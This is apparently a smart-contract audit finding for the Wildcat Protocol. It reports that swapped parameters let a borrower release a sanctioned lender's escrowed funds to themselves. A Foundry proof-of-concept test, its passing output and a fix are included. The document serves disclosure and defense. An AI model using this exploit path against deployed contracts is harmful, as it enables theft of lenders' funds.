The Wildcat Protocol - 0xKbl's results

Lines of code

https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketWithdrawals.sol#L166-L170 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketBase.sol#L172-L176

Vulnerability details

Impact

Detailed description of the impact of this finding.

In the _blockAccount function and when creating the escrow contract in executeWithdrawal, the parameters are being passed in the wrong order. Specifically, the account address is being passed first, and the borrower's address is being passed second. This mistake is causing several problems.

The most significant issue is that, as a result of this mistake, after a lender is sanctioned and their assets are moved to an escrow contract, contrary to the expected behaviour, the escrow is releasable. Since in the escrow the account address is actually the borrower address, a borrower can call releaseEscrow and have the funds transferred to themselves.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Adding the following test to the WildcatMarketWithdrawals.t.sol

function test_borrowerCanReleaseEscrow() external {
    _deposit(alice, 1e18);
    _requestWithdrawal(alice, 1e18);
    fastForward(parameters.withdrawalBatchDuration);
    sanctionsSentinel.sanction(alice);
    address escrow = sanctionsSentinel.getEscrowAddress(alice, borrower, address(asset));
    vm.expectEmit(address(asset));
    emit Transfer(address(market), escrow, 1e18);
    vm.expectEmit(address(market));
    emit SanctionedAccountWithdrawalSentToEscrow(alice, escrow, uint32(block.timestamp), 1e18);
    market.executeWithdrawal(alice, uint32(block.timestamp));

    bool canReleaseEscrow = WildcatSanctionsEscrow(escrow).canReleaseEscrow();
    assertEq(canReleaseEscrow, true);
    vm.prank(borrower);
    assertEq(asset.balanceOf(borrower), 0);
    WildcatSanctionsEscrow(escrow).releaseEscrow();
    assertEq(asset.balanceOf(borrower), 1e18);
  }

Results:

Running 1 test for test/market/WildcatMarketWithdrawals.t.sol:WithdrawalsTest
[PASS] test_borrowerCanReleaseEscrow() (gas: 931809)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.09ms

Tools Used

Foundry

Recommended Mitigation Steps

Pass the parameters in the code linked above in the correct order

Assessed type

Other